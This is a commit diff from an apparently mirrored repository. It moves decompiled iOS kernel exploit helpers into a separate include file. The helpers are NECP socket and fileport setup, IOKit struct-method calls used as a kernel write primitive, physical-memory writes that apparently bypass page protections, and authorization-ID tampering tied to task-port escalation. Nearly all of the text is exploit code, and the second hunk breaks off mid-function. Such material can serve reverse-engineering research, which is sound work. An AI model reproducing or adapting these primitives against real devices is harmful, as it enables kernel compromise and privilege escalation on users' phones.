mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-07-12 15:06:38 +02:00
Split NECP IOKit KRW helpers include
This commit is contained in:
@@ -4840,512 +4840,7 @@ LABEL_47:
|
||||
|
||||
#include "entry1_type0x09_krw_pte_physmap.inc"
|
||||
|
||||
//----- (000000000002AB18) ----------------------------------------------------
|
||||
__int64 __fastcall necp_socket_fileport_setup(struct_krwCtx *krwCtx)
|
||||
{
|
||||
__int64 v1; // x22
|
||||
int v3; // w0
|
||||
int v4; // w20
|
||||
int v5; // w21
|
||||
int v6; // w8
|
||||
int v7; // w21
|
||||
bool v8; // zf
|
||||
int v9; // w20
|
||||
__int64 v10; // x8
|
||||
int v12; // w19
|
||||
int v13; // w8
|
||||
struct sockaddr v14; // [xsp+0h] [xbp-50h] BYREF
|
||||
__int128 v15; // [xsp+10h] [xbp-40h]
|
||||
__int64 v16; // [xsp+20h] [xbp-30h] BYREF
|
||||
mach_port_t v17; // [xsp+2Ch] [xbp-24h]
|
||||
|
||||
v1 = krwCtx->semaphoreHelperCtx;
|
||||
if ( !v1 )
|
||||
return 0;
|
||||
v17 = 0;
|
||||
v3 = socket(32, 2, 2);
|
||||
v4 = v3;
|
||||
if ( v3 < 0
|
||||
|| (v14 = (struct sockaddr){0}, v15 = 0u, *(uint32_t *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u))
|
||||
|| (unsigned int)((__int64 (__cdecl *)())j__fileport_makeport)() )
|
||||
{
|
||||
v5 = errno;
|
||||
v6 = errno;
|
||||
if ( v5 < 0 )
|
||||
v6 = -v6;
|
||||
v7 = v6 | 0x40000000;
|
||||
goto LABEL_8;
|
||||
}
|
||||
v7 = get_task_bsd_info_kaddr(krwCtx, v17, &v16);
|
||||
if ( !v7 )
|
||||
{
|
||||
v7 = 163855;
|
||||
if ( kread_physmap_decorated(krwCtx, v16 + 16, (unsigned __int64 *)&v16) )
|
||||
{
|
||||
if ( !validate_kaddr_range(krwCtx, v16) )
|
||||
goto LABEL_40;
|
||||
if ( kread_physmap_decorated(krwCtx, v16 + 48, (unsigned __int64 *)&v16) )
|
||||
{
|
||||
if ( validate_kaddr_range(krwCtx, v16) )
|
||||
{
|
||||
v7 = 0;
|
||||
*(uint32_t *)(v1 + 16) = v4;
|
||||
*(uint64_t *)(v1 + 24) = v16;
|
||||
goto LABEL_8;
|
||||
}
|
||||
LABEL_40:
|
||||
v7 = 163878;
|
||||
}
|
||||
}
|
||||
}
|
||||
LABEL_8:
|
||||
if ( v17 + 1 >= 2 )
|
||||
{
|
||||
mach_port_deallocate(mach_task_self_, v17);
|
||||
v17 = 0;
|
||||
}
|
||||
if ( v7 )
|
||||
v8 = v4 == -1;
|
||||
else
|
||||
v8 = 1;
|
||||
if ( !v8 )
|
||||
{
|
||||
close(v4);
|
||||
*(uint32_t *)(v1 + 60) = v7;
|
||||
LABEL_26:
|
||||
semaphore_signal(*(uint32_t *)(v1 + 12));
|
||||
return 0;
|
||||
}
|
||||
*(uint32_t *)(v1 + 60) = v7;
|
||||
if ( v7 )
|
||||
goto LABEL_26;
|
||||
v9 = 708609;
|
||||
while ( !(unsigned int)__semwait_signal() )
|
||||
{
|
||||
if ( *(uint8_t *)(v1 + 56) )
|
||||
{
|
||||
v9 = 0;
|
||||
goto LABEL_38;
|
||||
}
|
||||
v10 = *(uint64_t *)(v1 + 32);
|
||||
if ( !v10 || !*(uint64_t *)(v1 + 40) || *(uint64_t *)(v1 + 48) != 8 )
|
||||
goto LABEL_38;
|
||||
*(uint64_t *)&v14.sa_len = v10 - 48;
|
||||
if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) )
|
||||
{
|
||||
v16 = **(uint64_t **)(v1 + 40);
|
||||
if ( setsockopt(*(uint32_t *)(v1 + 16), 2, 16, &v16, 8u) )
|
||||
break;
|
||||
*(uint64_t *)&v14.sa_len = 0;
|
||||
if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) )
|
||||
continue;
|
||||
}
|
||||
v9 = 163856;
|
||||
goto LABEL_38;
|
||||
}
|
||||
v12 = errno;
|
||||
v13 = errno;
|
||||
if ( v12 < 0 )
|
||||
v13 = -v13;
|
||||
v9 = v13 | 0x40000000;
|
||||
LABEL_38:
|
||||
*(uint32_t *)(v1 + 60) = v9;
|
||||
if ( !*(uint8_t *)(v1 + 56) )
|
||||
goto LABEL_26;
|
||||
return 0;
|
||||
}
|
||||
|
||||
//----- (000000000002AD98) ----------------------------------------------------
|
||||
__int64 __fastcall semaphore_wait_wrapper(semaphore_t a1)
|
||||
{
|
||||
semaphore_wait(a1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//----- (000000000002ADB4) ----------------------------------------------------
|
||||
__int64 __fastcall semaphore_mem_acquire_thread(__int64 a1)
|
||||
{
|
||||
semaphore_t v2; // w19
|
||||
pthread_mutex_t *v3; // x20
|
||||
__int64 v4; // x26
|
||||
char v5; // w25
|
||||
char v6; // w8
|
||||
unsigned int v7; // w27
|
||||
__int64 v8; // x22
|
||||
unsigned int v9; // w0
|
||||
unsigned int v10; // w23
|
||||
__int64 v11; // x8
|
||||
__int64 v12; // x24
|
||||
__int64 v13; // x23
|
||||
__int64 v14; // x28
|
||||
__int64 v15; // x8
|
||||
vm_address_t v16; // x8
|
||||
vm_size_t v17; // x24
|
||||
mem_entry_name_port_t v18; // w5
|
||||
vm_offset_t v19; // x6
|
||||
unsigned __int64 v20; // x9
|
||||
vm_size_t v21; // x23
|
||||
vm_address_t address; // [xsp+18h] [xbp-58h] BYREF
|
||||
|
||||
v2 = *(uint32_t *)(a1 + 136);
|
||||
v3 = (pthread_mutex_t *)(a1 + 32);
|
||||
v4 = *(uint64_t *)(a1 + 104);
|
||||
if ( !v4 )
|
||||
{
|
||||
v5 = 0;
|
||||
v6 = 0;
|
||||
v7 = 0;
|
||||
v8 = *(uint64_t *)a1;
|
||||
while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) )
|
||||
{
|
||||
if ( v7 )
|
||||
thread_switch(0, 2, 1u);
|
||||
if ( pthread_mutex_lock(v3) )
|
||||
{
|
||||
++*(uint32_t *)(a1 + 120);
|
||||
goto LABEL_40;
|
||||
}
|
||||
if ( !*(uint64_t *)(a1 + 104) )
|
||||
{
|
||||
v9 = get_page_size();
|
||||
if ( v9 < *(uint32_t *)(a1 + 16) )
|
||||
{
|
||||
v10 = v9;
|
||||
v11 = *(uint64_t *)(*(uint64_t *)(a1 + 8) + 8LL * v9);
|
||||
if ( v11 )
|
||||
{
|
||||
v12 = *(uint64_t *)(v11 + *(unsigned int *)(a1 + 20));
|
||||
if ( validate_kaddr_range(v8, v12) )
|
||||
{
|
||||
if ( v10 == (unsigned int)get_page_size() )
|
||||
{
|
||||
v13 = v12 + *(unsigned int *)(a1 + 96);
|
||||
v14 = v13 & ~*(uint64_t *)(v8 + 392);
|
||||
v15 = *(uint64_t *)(a1 + 24);
|
||||
if ( v15 && v14 == v15 )
|
||||
break;
|
||||
if ( !check_kaddr_in_physmap((struct_krwCtx *)v8, v12 + *(unsigned int *)(a1 + 96)) )
|
||||
{
|
||||
LABEL_37:
|
||||
*(uint64_t *)(a1 + 24) = v14;
|
||||
break;
|
||||
}
|
||||
v16 = *(uint64_t *)(v8 + 144);
|
||||
if ( !v16 || (v17 = *(uint64_t *)(v8 + 152)) == 0 )
|
||||
{
|
||||
address = 0;
|
||||
v18 = *(uint32_t *)(v8 + 88);
|
||||
if ( v18 + 1 < 2 )
|
||||
goto LABEL_37;
|
||||
v19 = *(uint64_t *)(v8 + 128);
|
||||
if ( !v19 )
|
||||
goto LABEL_37;
|
||||
v17 = *(unsigned int *)(v8 + 136);
|
||||
if ( !(uint32_t)v17 || vm_map(mach_task_self_, &address, v17, 0, 1, v18, v19, 0, 1, 1, 1u) )
|
||||
goto LABEL_37;
|
||||
v16 = address;
|
||||
*(uint64_t *)(v8 + 144) = address;
|
||||
*(uint64_t *)(v8 + 152) = v17;
|
||||
}
|
||||
v20 = 0;
|
||||
while ( !*(uint32_t *)(v16 + (unsigned int)(v20 + 32))
|
||||
|| *(uint64_t *)(v16 + (unsigned int)(v20 + 24)) != v14 )
|
||||
{
|
||||
v20 += 48LL;
|
||||
if ( v17 <= (unsigned int)v20 )
|
||||
goto LABEL_37;
|
||||
}
|
||||
v21 = (*(uint64_t *)(v8 + 392) & v13)
|
||||
+ ((((*(uint64_t *)(v8 + 128) + *(unsigned int *)(v8 + 136) + vm_page_size - 1)
|
||||
& -(__int64)vm_page_size) >> vm_page_shift)
|
||||
+ v20 / 0x30)
|
||||
* vm_page_size;
|
||||
*(uint64_t *)(a1 + 104) = pthread_self();
|
||||
*(uint64_t *)(a1 + 112) = v21;
|
||||
v5 = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if ( !*(uint64_t *)(a1 + 104) )
|
||||
{
|
||||
v6 = 1;
|
||||
if ( v7++ < 0xF )
|
||||
continue;
|
||||
}
|
||||
goto LABEL_3;
|
||||
}
|
||||
++*(uint32_t *)(a1 + 120);
|
||||
goto LABEL_39;
|
||||
}
|
||||
v5 = 0;
|
||||
LABEL_3:
|
||||
++*(uint32_t *)(a1 + 120);
|
||||
if ( !v4 )
|
||||
LABEL_39:
|
||||
pthread_mutex_unlock(v3);
|
||||
LABEL_40:
|
||||
if ( (v5 & 1) != 0 )
|
||||
semaphore_wait(v2);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//----- (000000000002B03C) ----------------------------------------------------
|
||||
__int64 __fastcall ulock_wait_loop(__int64 a1)
|
||||
{
|
||||
unsigned int v2; // w21
|
||||
int v3; // w0
|
||||
|
||||
__error();
|
||||
v2 = 0;
|
||||
*(uint8_t *)(a1 + 73) = 1;
|
||||
while ( 1 )
|
||||
{
|
||||
v3 = __ulock_wait(0x10001u, (void *)(a1 + 52), 0, *(uint32_t *)(a1 + 52));
|
||||
if ( !v3 )
|
||||
{
|
||||
++*(uint64_t *)(a1 + 64);
|
||||
goto LABEL_10;
|
||||
}
|
||||
if ( v3 == -1 && errno == 4 && v2++ < 0x64 )
|
||||
continue;
|
||||
if ( errno != 14 )
|
||||
return 0;
|
||||
LABEL_10:
|
||||
v2 = 0;
|
||||
if ( *(uint8_t *)(a1 + 72) )
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
//----- (000000000002B0E8) ----------------------------------------------------
|
||||
kern_return_t ioconnect_struct_method_kwrite(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3)
|
||||
{
|
||||
// [x0+0x1d48] = pointer to IOKit connection info struct
|
||||
struct_IOKitConnInfo *connInfo = krwCtx->IOKitConnInfo; // [krwCtx+0x1d48]
|
||||
if (!connInfo)
|
||||
return 0xAD001; // 708609: no connection
|
||||
|
||||
// w26 = 0x20026 = base error code
|
||||
// w21 = connection port (dword at +0x70)
|
||||
mach_port_t ioPort = connInfo->ioPort; // [connInfo+0x70]
|
||||
if ((uint32_t)(ioPort + 1) < 2)
|
||||
return 0x20026 - 0x1e; // 0x20008 = 131080: invalid port
|
||||
|
||||
uint64_t qword58 = connInfo->qword58; // slot table base or similar
|
||||
if (!qword58) return 0x20026; // 131110
|
||||
uint64_t qword60 = connInfo->qword60; // paddr target 1
|
||||
if (!qword60) return 0x20026;
|
||||
uint64_t qword68 = connInfo->qword68; // x27: some pointer/table
|
||||
if (!qword68) return 0x20026;
|
||||
uint64_t qword50 = connInfo->qword50; // x8: used in inputStruct
|
||||
if (!qword50) return 0x20026 - 0x15; // 0x20011 = 131089
|
||||
|
||||
// --- Build inputStruct at [sp+0x138], size 0x100 ---
|
||||
// Zero entire 0x100-byte region first (the stur q0 block)
|
||||
uint8_t inputStruct[0x100];
|
||||
memset(inputStruct, 0, sizeof(inputStruct));
|
||||
*(uint32_t *)&inputStruct[0] = 0x80; // str w10,[sp+0x138] = 128
|
||||
|
||||
// Version-dependent field offsets within inputStruct
|
||||
// csel chain: if xnuMajorVersion > 0x225B: offsets +8 each
|
||||
uint64_t vm_pgsz = vm_page_size; // x9 = vm_page_size global
|
||||
int off0, off1, off2, off3;
|
||||
if (krwCtx->xnuMajorVersion > 0x225B) {
|
||||
off0 = 0x30; off1 = 0x38; off2 = 0x40; off3 = 0x48;
|
||||
} else {
|
||||
off0 = 0x28; off1 = 0x30; off2 = 0x38; off3 = 0x40;
|
||||
}
|
||||
*(uint64_t *)&inputStruct[off0] = vm_pgsz; // str x9,[x15,x10]
|
||||
*(uint64_t *)&inputStruct[off1] = qword50; // str x8,[x15,x12]
|
||||
*(uint64_t *)&inputStruct[off2] = qword50; // str x8,[x15,x13]
|
||||
*(uint64_t *)&inputStruct[off3] = vm_pgsz; // str x9,[x15,x14]
|
||||
|
||||
// outputStruct at [sp+0x30], size 0x100
|
||||
uint8_t outputStruct[0x100];
|
||||
memset(outputStruct, 0, sizeof(outputStruct));
|
||||
size_t outputStructCnt = 0x100;
|
||||
|
||||
kern_return_t kr = IOConnectCallStructMethod(
|
||||
ioPort, 9,
|
||||
inputStruct, 0x100,
|
||||
outputStruct, &outputStructCnt);
|
||||
if (kr)
|
||||
return kr | 0x80000000;
|
||||
|
||||
// Result field at outputStruct[0x1c] (sp+0x4c = sp+0x30+0x1c)
|
||||
uint32_t result_idx = *(uint32_t *)&outputStruct[0x1c]; // w28
|
||||
|
||||
// Validate: result_idx must be in [1, 0x3ff]
|
||||
if ((uint32_t)(result_idx - 1) > 0x3FE)
|
||||
return 0x20026 - 0x15; // 131089
|
||||
|
||||
// kreadbuf: read one element from qword68 table at result_idx
|
||||
// stride = krwCtx->stride_0x168 (ldrsw = signed word)
|
||||
int32_t stride = krwCtx->stride_0x168; // [krwCtx+0x168]
|
||||
uint64_t tbl_ptr = qword68 + (uint32_t)(stride * result_idx);
|
||||
uint64_t kaddr = 0;
|
||||
|
||||
if (!kreadbuf_universal(krwCtx, tbl_ptr, stride, &kaddr, 0))
|
||||
return 0x20026 - 0x17; // 0x2000F = 131087
|
||||
|
||||
// w26 updated: w26 = 0x20026 - 0x17 = 0x2000F (used as error below)
|
||||
|
||||
// Translate/canonicalize kaddr
|
||||
kaddr = maybe_sptm_translate_kaddr(krwCtx, kaddr);
|
||||
|
||||
if (!validate_kaddr_range(krwCtx, kaddr))
|
||||
return 0x20026; // 131110
|
||||
|
||||
// Get physical address of kaddr+0x10
|
||||
uint64_t paddr1 = kaddr_to_phys_v2(krwCtx, kaddr + 0x10, 0);
|
||||
if (!paddr1)
|
||||
return 0x20026;
|
||||
|
||||
// Check if kaddr+0x10 and kaddr+0x78 are in same physical page
|
||||
// bics xzr, ((kaddr+0x10)^(kaddr+0x78)), ~krwCtx->page_mask
|
||||
// b.eq → same page (no second kaddr_to_phys_v2 needed)
|
||||
uint64_t paddr2;
|
||||
if (((kaddr + 0x10) ^ (kaddr + 0x78)) & ~krwCtx->pageMask) {
|
||||
// Different pages — get separate paddr for kaddr+0x78
|
||||
paddr2 = kaddr_to_phys_v2(krwCtx, kaddr + 0x78, 0); // x1 used at +548
|
||||
if (!paddr2)
|
||||
return 0x20026;
|
||||
// paddr2 stored at [sp+0x0]
|
||||
} else {
|
||||
// Same page — kaddr+0x78 = paddr1 + 0x68
|
||||
paddr2 = paddr1 + 0x68;
|
||||
// stored at [sp+0x0]
|
||||
}
|
||||
|
||||
// Write 0 to paddr1 (4 bytes) using appropriate physical write method
|
||||
uint32_t zero_val = 0;
|
||||
uint64_t version_threshold = XNU_VERSION_PACKED(10002, 60, 75, 0, 3);
|
||||
if (krwCtx->xnuVersionPacked >= version_threshold
|
||||
&& (*(uint8_t *)krwCtx & 0x20)) { // tbnz w8, #5 → bit 5 of krwCtx[0]
|
||||
kr = physwritebuf_direct_mapped(krwCtx, paddr1, &zero_val, 4, 0);
|
||||
} else {
|
||||
kr = dmaFail_physwritebuf_ppl(krwCtx, paddr1, &zero_val, 4);
|
||||
}
|
||||
if (kr) return kr;
|
||||
|
||||
// Read 8 bytes from vaddr
|
||||
uint64_t vaddr_val = 0;
|
||||
if (!kreadbuf_universal(krwCtx, vaddr, 8, &vaddr_val, 0))
|
||||
return 0x2000F; // 131087
|
||||
|
||||
// Write (vaddr_val - a3) to paddr2
|
||||
kr = physwrite64_maybe(krwCtx, paddr2, vaddr_val - a3);
|
||||
if (kr) return kr;
|
||||
|
||||
// Write vaddr to qword60
|
||||
kr = physwrite64_maybe(krwCtx, qword60, vaddr);
|
||||
if (kr) return kr;
|
||||
|
||||
// IOConnectCallScalarMethod(ioPort, 10, &result_idx, 1, NULL, NULL)
|
||||
uint64_t scalar_in = result_idx;
|
||||
IOConnectCallScalarMethod(ioPort, 10, &scalar_in, 1, NULL, NULL);
|
||||
|
||||
// Final: restore qword60 → qword58
|
||||
return physwrite64_maybe(krwCtx, qword60, qword58);
|
||||
}
|
||||
// 2B3CC: variable 'v23' is possibly undefined
|
||||
// 2B400: variable 'v24' is possibly undefined
|
||||
// 2B418: variable 'v25' is possibly undefined
|
||||
// 2B450: variable 'v26' is possibly undefined
|
||||
|
||||
#include "entry1_type0x09_dmafail_ppl.inc"
|
||||
|
||||
//----- (000000000002B5BC) ----------------------------------------------------
|
||||
__int64 __fastcall necp_ioservice_auth_write(struct_krwCtx *krwCtx, __int64 a2)
|
||||
{
|
||||
unsigned int v4; // w22
|
||||
unsigned int v5; // w0
|
||||
__int64 v6; // x19
|
||||
unsigned __int64 v7; // x0
|
||||
mach_vm_address_t someKernelAddress; // x23
|
||||
unsigned int v9; // w0
|
||||
unsigned int v10; // w24
|
||||
int v11; // w0
|
||||
int is_the_kwrite64; // w0
|
||||
unsigned int v13; // w8
|
||||
__int64 v15; // [xsp+8h] [xbp-38h] BYREF
|
||||
|
||||
v4 = krwCtx->iosurfaceObj;
|
||||
if ( v4 + 1 <= 1 )
|
||||
{
|
||||
v5 = (unsigned int)ioservice_get_matching("AppleSEPManager");
|
||||
if ( v5 + 1 < 2 )
|
||||
return 708625;
|
||||
v4 = v5;
|
||||
krwCtx->iosurfaceObj = v5;
|
||||
}
|
||||
v6 = 163856;
|
||||
v7 = krwCtx->gap_0x18;
|
||||
if ( !v7 )
|
||||
{
|
||||
v7 = get_task_kobject_addr(krwCtx, v4);
|
||||
if ( !v7 )
|
||||
return 163854;
|
||||
krwCtx->gap_0x18 = v7;
|
||||
}
|
||||
if ( krwCtx->gap_0x20 )
|
||||
{
|
||||
v15 = krwCtx->gap_0x20;
|
||||
someKernelAddress = v7 + 40;
|
||||
}
|
||||
else
|
||||
{
|
||||
someKernelAddress = v7 + 40;
|
||||
if ( !kread_physmap_decorated(krwCtx, v7 + 40, (unsigned __int64 *)&v15) )
|
||||
return 163855;
|
||||
krwCtx->gap_0x20 = v15;
|
||||
}
|
||||
if ( kwrite64_last_arg(krwCtx, someKernelAddress, a2, 0) )
|
||||
{
|
||||
v9 = _IOServiceSetAuthorizationID();
|
||||
v10 = v9;
|
||||
if ( v9 )
|
||||
{
|
||||
if ( v9 != 53 )
|
||||
{
|
||||
v10 = (v9 & 0xFFF) | 0x70000000;
|
||||
goto LABEL_25;
|
||||
}
|
||||
if ( krwCtx->gap_0xC )
|
||||
{
|
||||
krwCtx->gap_0xC = 0;
|
||||
v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0);
|
||||
krwCtx->gap_0xC = 1;
|
||||
if ( v10 )
|
||||
goto LABEL_25;
|
||||
}
|
||||
else
|
||||
{
|
||||
v10 = refresh_target_task_port(krwCtx, mach_task_self_, 0, 0);
|
||||
if ( v10 )
|
||||
goto LABEL_25;
|
||||
}
|
||||
v11 = _IOServiceSetAuthorizationID();
|
||||
if ( v11 )
|
||||
v10 = (v11 & 0xFFF) | 0x70000000;
|
||||
else
|
||||
v10 = 0;
|
||||
}
|
||||
LABEL_25:
|
||||
is_the_kwrite64 = kwrite64_last_arg(krwCtx, someKernelAddress, v15, 0);
|
||||
if ( v10 )
|
||||
v13 = v10;
|
||||
else
|
||||
v13 = 163856;
|
||||
if ( is_the_kwrite64 )
|
||||
return v10;
|
||||
else
|
||||
return v13;
|
||||
}
|
||||
return v6;
|
||||
}
|
||||
#include "entry1_type0x09_krw_necp_iokit.inc"
|
||||
|
||||
//----- (000000000002B788) ----------------------------------------------------
|
||||
__int64 __fastcall posix_spawn_with_sigdefault(const char **a1)
|
||||
|
||||
@@ -0,0 +1,507 @@
|
||||
//----- (000000000002AB18) ----------------------------------------------------
|
||||
__int64 __fastcall necp_socket_fileport_setup(struct_krwCtx *krwCtx)
|
||||
{
|
||||
__int64 v1; // x22
|
||||
int v3; // w0
|
||||
int v4; // w20
|
||||
int v5; // w21
|
||||
int v6; // w8
|
||||
int v7; // w21
|
||||
bool v8; // zf
|
||||
int v9; // w20
|
||||
__int64 v10; // x8
|
||||
int v12; // w19
|
||||
int v13; // w8
|
||||
struct sockaddr v14; // [xsp+0h] [xbp-50h] BYREF
|
||||
__int128 v15; // [xsp+10h] [xbp-40h]
|
||||
__int64 v16; // [xsp+20h] [xbp-30h] BYREF
|
||||
mach_port_t v17; // [xsp+2Ch] [xbp-24h]
|
||||
|
||||
v1 = krwCtx->semaphoreHelperCtx;
|
||||
if ( !v1 )
|
||||
return 0;
|
||||
v17 = 0;
|
||||
v3 = socket(32, 2, 2);
|
||||
v4 = v3;
|
||||
if ( v3 < 0
|
||||
|| (v14 = (struct sockaddr){0}, v15 = 0u, *(uint32_t *)&v14.sa_data[2] = 2, connect(v3, &v14, 0x20u))
|
||||
|| (unsigned int)((__int64 (__cdecl *)())j__fileport_makeport)() )
|
||||
{
|
||||
v5 = errno;
|
||||
v6 = errno;
|
||||
if ( v5 < 0 )
|
||||
v6 = -v6;
|
||||
v7 = v6 | 0x40000000;
|
||||
goto LABEL_8;
|
||||
}
|
||||
v7 = get_task_bsd_info_kaddr(krwCtx, v17, &v16);
|
||||
if ( !v7 )
|
||||
{
|
||||
v7 = 163855;
|
||||
if ( kread_physmap_decorated(krwCtx, v16 + 16, (unsigned __int64 *)&v16) )
|
||||
{
|
||||
if ( !validate_kaddr_range(krwCtx, v16) )
|
||||
goto LABEL_40;
|
||||
if ( kread_physmap_decorated(krwCtx, v16 + 48, (unsigned __int64 *)&v16) )
|
||||
{
|
||||
if ( validate_kaddr_range(krwCtx, v16) )
|
||||
{
|
||||
v7 = 0;
|
||||
*(uint32_t *)(v1 + 16) = v4;
|
||||
*(uint64_t *)(v1 + 24) = v16;
|
||||
goto LABEL_8;
|
||||
}
|
||||
LABEL_40:
|
||||
v7 = 163878;
|
||||
}
|
||||
}
|
||||
}
|
||||
LABEL_8:
|
||||
if ( v17 + 1 >= 2 )
|
||||
{
|
||||
mach_port_deallocate(mach_task_self_, v17);
|
||||
v17 = 0;
|
||||
}
|
||||
if ( v7 )
|
||||
v8 = v4 == -1;
|
||||
else
|
||||
v8 = 1;
|
||||
if ( !v8 )
|
||||
{
|
||||
close(v4);
|
||||
*(uint32_t *)(v1 + 60) = v7;
|
||||
LABEL_26:
|
||||
semaphore_signal(*(uint32_t *)(v1 + 12));
|
||||
return 0;
|
||||
}
|
||||
*(uint32_t *)(v1 + 60) = v7;
|
||||
if ( v7 )
|
||||
goto LABEL_26;
|
||||
v9 = 708609;
|
||||
while ( !(unsigned int)__semwait_signal() )
|
||||
{
|
||||
if ( *(uint8_t *)(v1 + 56) )
|
||||
{
|
||||
v9 = 0;
|
||||
goto LABEL_38;
|
||||
}
|
||||
v10 = *(uint64_t *)(v1 + 32);
|
||||
if ( !v10 || !*(uint64_t *)(v1 + 40) || *(uint64_t *)(v1 + 48) != 8 )
|
||||
goto LABEL_38;
|
||||
*(uint64_t *)&v14.sa_len = v10 - 48;
|
||||
if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) )
|
||||
{
|
||||
v16 = **(uint64_t **)(v1 + 40);
|
||||
if ( setsockopt(*(uint32_t *)(v1 + 16), 2, 16, &v16, 8u) )
|
||||
break;
|
||||
*(uint64_t *)&v14.sa_len = 0;
|
||||
if ( noppl_kwritebuf(krwCtx, *(uint64_t *)(v1 + 24) + 8LL, &v14, krwCtx->stride_0x168, 1) )
|
||||
continue;
|
||||
}
|
||||
v9 = 163856;
|
||||
goto LABEL_38;
|
||||
}
|
||||
v12 = errno;
|
||||
v13 = errno;
|
||||
if ( v12 < 0 )
|
||||
v13 = -v13;
|
||||
v9 = v13 | 0x40000000;
|
||||
LABEL_38:
|
||||
*(uint32_t *)(v1 + 60) = v9;
|
||||
if ( !*(uint8_t *)(v1 + 56) )
|
||||
goto LABEL_26;
|
||||
return 0;
|
||||
}
|
||||
|
||||
//----- (000000000002AD98) ----------------------------------------------------
|
||||
__int64 __fastcall semaphore_wait_wrapper(semaphore_t a1)
|
||||
{
|
||||
semaphore_wait(a1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
//----- (000000000002ADB4) ----------------------------------------------------
|
||||
__int64 __fastcall semaphore_mem_acquire_thread(__int64 a1)
|
||||
{
|
||||
semaphore_t v2; // w19
|
||||
pthread_mutex_t *v3; // x20
|
||||
__int64 v4; // x26
|
||||
char v5; // w25
|
||||
char v6; // w8
|
||||
unsigned int v7; // w27
|
||||
__int64 v8; // x22
|
||||
unsigned int v9; // w0
|
||||
unsigned int v10; // w23
|
||||
__int64 v11; // x8
|
||||
__int64 v12; // x24
|
||||
__int64 v13; // x23
|
||||
__int64 v14; // x28
|
||||
__int64 v15; // x8
|
||||
vm_address_t v16; // x8
|
||||
vm_size_t v17; // x24
|
||||
mem_entry_name_port_t v18; // w5
|
||||
vm_offset_t v19; // x6
|
||||
unsigned __int64 v20; // x9
|
||||
vm_size_t v21; // x23
|
||||
vm_address_t address; // [xsp+18h] [xbp-58h] BYREF
|
||||
|
||||
v2 = *(uint32_t *)(a1 + 136);
|
||||
v3 = (pthread_mutex_t *)(a1 + 32);
|
||||
v4 = *(uint64_t *)(a1 + 104);
|
||||
if ( !v4 )
|
||||
{
|
||||
v5 = 0;
|
||||
v6 = 0;
|
||||
v7 = 0;
|
||||
v8 = *(uint64_t *)a1;
|
||||
while ( (v6 & 1) == 0 || !pthread_mutex_unlock(v3) )
|
||||
{
|
||||
if ( v7 )
|
||||
thread_switch(0, 2, 1u);
|
||||
if ( pthread_mutex_lock(v3) )
|
||||
{
|
||||
++*(uint32_t *)(a1 + 120);
|
||||
goto LABEL_40;
|
||||
}
|
||||
if ( !*(uint64_t *)(a1 + 104) )
|
||||
{
|
||||
v9 = get_page_size();
|
||||
if ( v9 < *(uint32_t *)(a1 + 16) )
|
||||
{
|
||||
v10 = v9;
|
||||
v11 = *(uint64_t *)(*(uint64_t *)(a1 + 8) + 8LL * v9);
|
||||
if ( v11 )
|
||||
{
|
||||
v12 = *(uint64_t *)(v11 + *(unsigned int *)(a1 + 20));
|
||||
if ( validate_kaddr_range(v8, v12) )
|
||||
{
|
||||
if ( v10 == (unsigned int)get_page_size() )
|
||||
{
|
||||
v13 = v12 + *(unsigned int *)(a1 + 96);
|
||||
v14 = v13 & ~*(uint64_t *)(v8 + 392);
|
||||
v15 = *(uint64_t *)(a1 + 24);
|
||||
if ( v15 && v14 == v15 )
|
||||
break;
|
||||
if ( !check_kaddr_in_physmap((struct_krwCtx *)v8, v12 + *(unsigned int *)(a1 + 96)) )
|
||||
{
|
||||
LABEL_37:
|
||||
*(uint64_t *)(a1 + 24) = v14;
|
||||
break;
|
||||
}
|
||||
v16 = *(uint64_t *)(v8 + 144);
|
||||
if ( !v16 || (v17 = *(uint64_t *)(v8 + 152)) == 0 )
|
||||
{
|
||||
address = 0;
|
||||
v18 = *(uint32_t *)(v8 + 88);
|
||||
if ( v18 + 1 < 2 )
|
||||
goto LABEL_37;
|
||||
v19 = *(uint64_t *)(v8 + 128);
|
||||
if ( !v19 )
|
||||
goto LABEL_37;
|
||||
v17 = *(unsigned int *)(v8 + 136);
|
||||
if ( !(uint32_t)v17 || vm_map(mach_task_self_, &address, v17, 0, 1, v18, v19, 0, 1, 1, 1u) )
|
||||
goto LABEL_37;
|
||||
v16 = address;
|
||||
*(uint64_t *)(v8 + 144) = address;
|
||||
*(uint64_t *)(v8 + 152) = v17;
|
||||
}
|
||||
v20 = 0;
|
||||
while ( !*(uint32_t *)(v16 + (unsigned int)(v20 + 32))
|
||||
|| *(uint64_t *)(v16 + (unsigned int)(v20 + 24)) != v14 )
|
||||
{
|
||||
v20 += 48LL;
|
||||
if ( v17 <= (unsigned int)v20 )
|
||||
goto LABEL_37;
|
||||
}
|
||||
v21 = (*(uint64_t *)(v8 + 392) & v13)
|
||||
+ ((((*(uint64_t *)(v8 + 128) + *(unsigned int *)(v8 + 136) + vm_page_size - 1)
|
||||
& -(__int64)vm_page_size) >> vm_page_shift)
|
||||
+ v20 / 0x30)
|
||||
* vm_page_size;
|
||||
*(uint64_t *)(a1 + 104) = pthread_self();
|
||||
*(uint64_t *)(a1 + 112) = v21;
|
||||
v5 = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if ( !*(uint64_t *)(a1 + 104) )
|
||||
{
|
||||
v6 = 1;
|
||||
if ( v7++ < 0xF )
|
||||
continue;
|
||||
}
|
||||
goto LABEL_3;
|
||||
}
|
||||
++*(uint32_t *)(a1 + 120);
|
||||
goto LABEL_39;
|
||||
}
|
||||
v5 = 0;
|
||||
LABEL_3:
|
||||
++*(uint32_t *)(a1 + 120);
|
||||
if ( !v4 )
|
||||
LABEL_39:
|
||||
pthread_mutex_unlock(v3);
|
||||
LABEL_40:
|
||||
if ( (v5 & 1) != 0 )
|
||||
